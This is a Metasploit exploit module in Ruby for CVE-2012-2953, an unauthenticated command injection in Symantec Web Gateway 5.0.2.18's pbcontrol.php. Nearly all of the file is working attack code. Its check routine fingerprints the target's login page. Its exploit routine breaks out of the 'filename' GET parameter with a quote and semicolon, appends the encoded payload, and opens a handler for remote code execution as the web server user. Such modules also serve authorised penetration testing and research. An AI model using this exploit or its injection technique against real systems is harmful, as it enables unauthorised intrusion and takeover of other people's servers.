##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
        'Description' => %q{
          This module exploits a command injection vulnerability found in Symantec Web
          Gateway's HTTP service.  While handling the filename parameter, the Spywall API
          does not do any filtering before passing it to an exec() call in proxy_file(),
          thus results in remote code execution under the context of the web server. Please
          note authentication is NOT needed to gain access.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'muts', # Original discovery
          'sinn3r' # Metasploit
        ],
        'References' => [
          [ 'CVE', '2012-2953' ],
          [ 'OSVDB', '84120' ],
          [ 'BID', '54426' ],
          [ 'EDB', '20088' ],
          [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
        ],
        'Payload' => {
          # 'BadChars' => "\x00\x0d\x0a",
          'Compat' =>
                  {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic perl telnet'
                  }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Symantec Web Gateway 5.0.2.18', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-07-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
      ]
    )
  end

  def check
    dir = File.dirname(target_uri.path)

    res1 = send_request_raw({ 'uri' => "#{dir}/login.php" })
    res2 = send_request_raw({ 'uri' => "#{dir}/pbcontrol.php" })

    if res1 and res2
      if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'GET',
      'vars_get' => {
        'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
        'stage' => '0'
      }
    })

    handler
  end
end
